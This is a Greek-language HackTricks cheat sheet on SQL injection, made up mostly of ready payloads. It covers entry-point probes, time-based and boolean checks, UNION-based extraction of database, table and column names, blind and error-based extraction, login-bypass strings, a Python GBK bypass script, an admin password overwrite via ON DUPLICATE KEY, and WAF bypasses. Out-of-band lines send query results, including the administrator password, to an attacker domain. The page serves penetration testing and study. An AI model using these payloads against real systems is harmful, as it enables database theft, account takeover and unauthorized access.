SQL Injection

Support HackTricks

​​​​RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε τομέα.

Τι είναι η SQL injection;

Μια SQL injection είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να παρεμβαίνουν σε ερωτήματα βάσης δεδομένων μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να δουν, τροποποιήσουν ή διαγράψουν δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιαδήποτε δεδομένα μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμη και σε παραβίαση του διακομιστή ή άρνηση υπηρεσίας.

Ανίχνευση σημείου εισόδου

Όταν μια ιστοσελίδα φαίνεται να είναι ευάλωτη σε SQL injection (SQLi) λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το πρώτο βήμα είναι να κατανοήσουμε πώς να εισάγουμε δεδομένα στην ερώτηση χωρίς να την διαταράξουμε. Αυτό απαιτεί την αναγνώριση της μεθόδου για να ξεφύγουμε από το τρέχον πλαίσιο αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Τότε, πρέπει να ξέρετε πώς να διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα. Για να διορθώσετε το ερώτημα μπορείτε να εισάγετε δεδομένα ώστε το προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα, ή μπορείτε απλά να εισάγετε τα δεδομένα σας και να προσθέσετε ένα σύμβολο σχολίου στο τέλος.

Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή μπορείτε να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη.

Σχόλια

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Επιβεβαίωση με λογικές λειτουργίες

Μια αξιόπιστη μέθοδος για την επιβεβαίωση μιας ευπάθειας SQL injection περιλαμβάνει την εκτέλεση μιας λογικής λειτουργίας και την παρατήρηση των αναμενόμενων αποτελεσμάτων. Για παράδειγμα, μια παράμετρος GET όπως ?username=Peter που αποδίδει ταυτόσημο περιεχόμενο όταν τροποποιηθεί σε ?username=Peter' or '1'='1 υποδεικνύει μια ευπάθεια SQL injection.

Ομοίως, η εφαρμογή μαθηματικών λειτουργιών χρησιμεύει ως μια αποτελεσματική τεχνική επιβεβαίωσης. Για παράδειγμα, αν η πρόσβαση σε ?id=1 και ?id=2-1 παράγει το ίδιο αποτέλεσμα, αυτό είναι ενδεικτικό SQL injection.

Παραδείγματα που δείχνουν την επιβεβαίωση λογικών λειτουργιών:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να επιβεβαιώσει SQLinjections με τον προτεινόμενο τρόπο:

Επιβεβαίωση με Χρόνο

Σε ορισμένες περιπτώσεις δεν θα παρατηρήσετε καμία αλλαγή στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να ανακαλύψετε τυφλές SQL injections είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν επίδραση στον χρόνο που χρειάζεται η σελίδα για να φορτώσει. Επομένως, θα προσθέσουμε στην SQL ερώτηση μια λειτουργία που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

Σε ορισμένες περιπτώσεις οι λειτουργίες ύπνου δεν θα επιτρέπονται. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα να εκτελεί σύνθετες λειτουργίες που θα διαρκέσουν αρκετά δευτερόλεπτα. Παραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν).

Αναγνώριση Back-end

Ο καλύτερος τρόπος για να αναγνωρίσετε το back-end είναι να προσπαθήσετε να εκτελέσετε λειτουργίες των διαφόρων back-end. Μπορείτε να χρησιμοποιήσετε τις λειτουργίες ύπνου της προηγούμενης ενότητας ή αυτές (πίνακας από payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να κάνετε εκτύπωση της έκδοσης της βάσης δεδομένων.

Μια συνέχεια, θα συζητήσουμε διάφορες μεθόδους για να εκμεταλλευτούμε διάφορους τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα.

Αναγνώριση με PortSwigger

Εκμετάλλευση Βασισμένη σε Union

Ανίχνευση αριθμού στηλών

Αν μπορείτε να δείτε την έξοδο του ερωτήματος, αυτή είναι η καλύτερη μέθοδος για να το εκμεταλλευτείτε. Πρώτα απ' όλα, πρέπει να ανακαλύψουμε τον αριθμό των στηλών που επιστρέφει το αρχικό αίτημα. Αυτό συμβαίνει επειδή και τα δύο ερωτήματα πρέπει να επιστρέφουν τον ίδιο αριθμό στηλών. Δύο μέθοδοι χρησιμοποιούνται συνήθως για αυτόν τον σκοπό:

Order/Group by

Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες ORDER BY ή GROUP BY μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των GROUP BY και ORDER BY μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Επιλέξτε περισσότερες και περισσότερες τιμές null μέχρι να είναι σωστό το ερώτημα:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Πρέπει να χρησιμοποιείτε null τιμές καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση.

Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών

Στα επόμενα παραδείγματα θα ανακτήσουμε το όνομα όλων των βάσεων δεδομένων, το όνομα του πίνακα μιας βάσης δεδομένων, τα ονόματα των στηλών του πίνακα:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Υπάρχει ένας διαφορετικός τρόπος για να ανακαλύψετε αυτά τα δεδομένα σε κάθε διαφορετική βάση δεδομένων, αλλά η μεθοδολογία είναι πάντα η ίδια.

Exploiting Hidden Union Based

Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας κρυφής ένεσης βασισμένης σε ένωση. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατραπεί μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το εκτελούμενο ερώτημα στο backend.

Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου.

Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας για να κλείσετε με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα ένωσης στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε ένωση.

Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο Healing Blind Injections.

Exploiting Error based

Εάν για κάποιο λόγο δεν μπορείτε να δείτε την έξοδο του ερωτήματος αλλά μπορείτε να δείτε τα μηνύματα σφάλματος, μπορείτε να κάνετε αυτά τα μηνύματα σφάλματος να εξάγουν δεδομένα από τη βάση δεδομένων. Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε ένωση, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Exploiting Blind SQLi

Σε αυτή την περίπτωση δεν μπορείτε να δείτε τα αποτελέσματα του ερωτήματος ή τα σφάλματα, αλλά μπορείτε να διακρίνετε πότε το ερώτημα επιστρέφει μια αληθινή ή μια ψευδή απάντηση επειδή υπάρχουν διαφορετικά περιεχόμενα στη σελίδα. Σε αυτή την περίπτωση, μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να εξάγετε τη βάση δεδομένων χαρακτήρα προς χαρακτήρα:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Exploiting Error Blind SQLi

Αυτή είναι η ίδια περίπτωση όπως πριν αλλά αντί να διακρίνετε μεταξύ μιας αληθινής/ψευδούς απάντησης από το ερώτημα μπορείτε να διακρίνετε μεταξύ ενός σφάλματος στο SQL ερώτημα ή όχι (ίσως επειδή ο HTTP server καταρρέει). Επομένως, σε αυτή την περίπτωση μπορείτε να προκαλέσετε ένα SQLerror κάθε φορά που μαντεύετε σωστά τον χαρακτήρα:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Exploiting Time Based SQLi

Σε αυτή την περίπτωση δεν υπάρχει κανένας τρόπος να διακρίνουμε την απάντηση του ερωτήματος με βάση το περιεχόμενο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα να χρειάζεται περισσότερο χρόνο για να φορτώσει αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να επιβεβαιώσουμε μια SQLi ευπάθεια.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Μπορείτε να χρησιμοποιήσετε τις στοίβες ερωτημάτων για να εκτελέσετε πολλαπλά ερωτήματα διαδοχικά. Σημειώστε ότι ενώ τα επόμενα ερωτήματα εκτελούνται, τα αποτελέσματα δεν επιστρέφονται στην εφαρμογή. Επομένως, αυτή η τεχνική είναι κυρίως χρήσιμη σε σχέση με τυφλές ευπάθειες όπου μπορείτε να χρησιμοποιήσετε ένα δεύτερο ερώτημα για να ενεργοποιήσετε μια αναζήτηση DNS, μια συνθήκη σφάλματος ή μια καθυστέρηση χρόνου.

Oracle δεν υποστηρίζει στοιβαγμένα ερωτήματα. MySQL, Microsoft και PostgreSQL τα υποστηρίζουν: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Εάν κανένας άλλος μέθοδος εκμετάλλευσης δεν λειτούργησε, μπορείτε να προσπαθήσετε να κάνετε τη βάση δεδομένων να εξάγει τις πληροφορίες σε έναν εξωτερικό διακομιστή που ελέγχετε εσείς. Για παράδειγμα, μέσω ερωτημάτων DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Αυτοματοποιημένη Εκμετάλλευση

Δείτε το SQLMap Cheatsheet για να εκμεταλλευτείτε μια ευπάθεια SQLi με sqlmap.

Τεχνικές πληροφορίες

Έχουμε ήδη συζητήσει όλους τους τρόπους εκμετάλλευσης μιας ευπάθειας SQL Injection. Βρείτε μερικά ακόμα κόλπα που εξαρτώνται από την τεχνολογία βάσης δεδομένων σε αυτό το βιβλίο:

Ή θα βρείτε πολλά κόλπα σχετικά με: MySQL, PostgreSQL, Oracle, MSSQL, SQLite και HQL σε https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.

Παράκαμψη αυθεντικοποίησης

Λίστα για να προσπαθήσετε να παρακάμψετε τη λειτουργία σύνδεσης:

Login bypass List

Παράκαμψη αυθεντικοποίησης με ακατέργαστο hash

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Αυτή η ερώτηση επιδεικνύει μια ευπάθεια όταν το MD5 χρησιμοποιείται με true για ακατέργαστη έξοδο σε ελέγχους ταυτοποίησης, καθιστώντας το σύστημα ευάλωτο σε SQL injection. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό δημιουργώντας εισόδους που, όταν κατακερματίζονται, παράγουν απροσδόκητα μέρη SQL εντολών, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Παράκαμψη αυθεντικοποίησης με εισαγόμενο hash

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Συνιστώμενη λίστα:

Πρέπει να χρησιμοποιείτε ως όνομα χρήστη κάθε γραμμή της λίστας και ως κωδικό πάντα: Pass1234. (Αυτά τα payloads περιλαμβάνονται επίσης στη μεγάλη λίστα που αναφέρθηκε στην αρχή αυτής της ενότητας)

GBK Authentication Bypass

ΑΝ το ' διαφεύγει μπορείτε να χρησιμοποιήσετε %A8%27, και όταν το ' διαφύγει θα δημιουργηθεί: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python script:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Πολυγλωσσική ένεση (πολυπλαστική)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Modify password of existing object/user

Για να το κάνετε αυτό, θα πρέπει να προσπαθήσετε να δημιουργήσετε ένα νέο αντικείμενο με το όνομα του "κύριου αντικειμένου" (πιθανώς admin στην περίπτωση χρηστών) τροποποιώντας κάτι:

  • Δημιουργήστε χρήστη με το όνομα: AdMIn (κεφαλαία & πεζά γράμματα)

  • Δημιουργήστε έναν χρήστη με το όνομα: admin=

  • SQL Truncation Attack (όταν υπάρχει κάποιο είδος περιορισμού μήκους στο όνομα χρήστη ή το email) --> Δημιουργήστε χρήστη με το όνομα: admin [πολλές κενές θέσεις] a

SQL Truncation Attack

Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη admin, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "admin [30 κενές θέσεις] a" και οποιοδήποτε κωδικό πρόσβασης.

Η βάση δεδομένων θα ελέγξει αν το εισαγόμενο όνομα χρήστη υπάρχει μέσα στη βάση δεδομένων. Εάν όχι, θα κόψει το όνομα χρήστη στο μέγιστο επιτρεπόμενο αριθμό χαρακτήρων (σε αυτή την περίπτωση σε: "admin [25 κενές θέσεις]") και στη συνέχεια θα αφαιρέσει αυτόματα όλες τις κενές θέσεις στο τέλος ενημερώνοντας μέσα στη βάση δεδομένων τον χρήστη "admin" με τον νέο κωδικό πρόσβασης (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει).

Περισσότερες πληροφορίες: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Σημείωση: Αυτή η επίθεση δεν θα λειτουργεί πλέον όπως περιγράφεται παραπάνω στις τελευταίες εγκαταστάσεις MySQL. Ενώ οι συγκρίσεις εξακολουθούν να αγνοούν τα κενά στο τέλος από προεπιλογή, η προσπάθεια εισαγωγής μιας συμβολοσειράς που είναι μεγαλύτερη από το μήκος ενός πεδίου θα έχει ως αποτέλεσμα ένα σφάλμα, και η εισαγωγή θα αποτύχει. Για περισσότερες πληροφορίες σχετικά με αυτό, ελέγξτε: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Προσθέστε όσες ','','' θεωρείτε ότι χρειάζεστε για να βγείτε από τη δήλωση VALUES. Εάν εκτελείται καθυστέρηση, έχετε μια SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Η ρήτρα ON DUPLICATE KEY UPDATE στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται μια προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή:

Example Payload Injection:

Ένα payload εισαγωγής μπορεί να κατασκευαστεί ως εξής, όπου δύο γραμμές προσπαθούν να εισαχθούν στον πίνακα users. Η πρώτη γραμμή είναι μια παγίδα, και η δεύτερη γραμμή στοχεύει το υπάρχον email ενός διαχειριστή με σκοπό την ενημέρωση του κωδικού πρόσβασης:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • Το ερώτημα προσπαθεί να εισάγει δύο γραμμές: μία για generic_user@example.com και μία άλλη για admin_generic@example.com.

  • Αν η γραμμή για admin_generic@example.com υπάρχει ήδη, η ρήτρα ON DUPLICATE KEY UPDATE ενεργοποιείται, δίνοντας εντολή στο MySQL να ενημερώσει το πεδίο password της υπάρχουσας γραμμής σε "bcrypt_hash_of_newpassword".

  • Κατά συνέπεια, η αυθεντικοποίηση μπορεί στη συνέχεια να επιχειρηθεί χρησιμοποιώντας admin_generic@example.com με τον κωδικό πρόσβασης που αντιστοιχεί στο bcrypt hash ("bcrypt_hash_of_newpassword" αντιπροσωπεύει το bcrypt hash του νέου κωδικού πρόσβασης, το οποίο θα πρέπει να αντικατασταθεί με το πραγματικό hash του επιθυμητού κωδικού πρόσβασης).

Extract information

Creating 2 accounts at the same time

Όταν προσπαθείτε να δημιουργήσετε έναν νέο χρήστη και όνομα χρήστη, απαιτούνται κωδικός πρόσβασης και email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Χρησιμοποιώντας δεκαδικό ή δεκαεξαδικό

Με αυτή την τεχνική μπορείτε να εξάγετε πληροφορίες δημιουργώντας μόνο 1 λογαριασμό. Είναι σημαντικό να σημειωθεί ότι δεν χρειάζεται να σχολιάσετε τίποτα.

Χρησιμοποιώντας hex2dec και substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Για να αποκτήσετε το κείμενο μπορείτε να χρησιμοποιήσετε:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Χρησιμοποιώντας hex και replace (και substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην Ισπανία και μία από τις πιο σημαντικές στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε τομέα.

Routed SQL injection

Routed SQL injection είναι μια κατάσταση όπου το ερωτηματικό που μπορεί να εισαχθεί δεν είναι αυτό που δίνει έξοδο, αλλά η έξοδος του ερωτήματος που μπορεί να εισαχθεί πηγαίνει στο ερώτημα που δίνει έξοδο. (Από Έγγραφο)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Αρχικές παρακάμψεις από εδώ

No spaces bypass

No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλακτικές κενές θέσεις

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - παράκαμψη χρησιμοποιώντας σχόλια

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - παράκαμψη χρησιμοποιώντας παρενθέσεις

?id=(1)and(1)=(1)--

No commas bypass

No Comma - παράκαμψη χρησιμοποιώντας OFFSET, FROM και JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Λίστα αποκλεισμού χρησιμοποιώντας λέξεις-κλειδιά - παράκαμψη χρησιμοποιώντας κεφαλαία/μικρά γράμματα

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist χρησιμοποιώντας λέξεις-κλειδιά χωρίς διάκριση πεζών-κεφαλαίων - παράκαμψη χρησιμοποιώντας έναν ισοδύναμο τελεστή

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Scientific Notation WAF bypass

Μπορείτε να βρείτε μια πιο λεπτομερή εξήγηση αυτού του κόλπου στο gosecure blog. Βασικά, μπορείτε να χρησιμοποιήσετε την επιστημονική σημειογραφία με απροσδόκητους τρόπους για να παρακάμψετε το WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Πρώτα απ' όλα, παρατηρήστε ότι αν το αρχικό ερώτημα και ο πίνακας από τον οποίο θέλετε να εξαγάγετε τη σημαία έχουν τον ίδιο αριθμό στηλών μπορείτε απλά να κάνετε: 0 UNION SELECT * FROM flag

Είναι δυνατόν να έχετε πρόσβαση στην τρίτη στήλη ενός πίνακα χωρίς να χρησιμοποιήσετε το όνομά της χρησιμοποιώντας ένα ερώτημα όπως το εξής: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, οπότε σε μια sqlinjection αυτό θα φαίνεται έτσι:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ή χρησιμοποιώντας ένα comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

This trick was taken from https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

WAF bypass suggester tools

Brute-Force Detection List

​​​​​​​RootedCON είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην Ισπανία και ένα από τα πιο σημαντικά στην Ευρώπη. Με αποστολή την προώθηση της τεχνικής γνώσης, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.

Support HackTricks

Last updated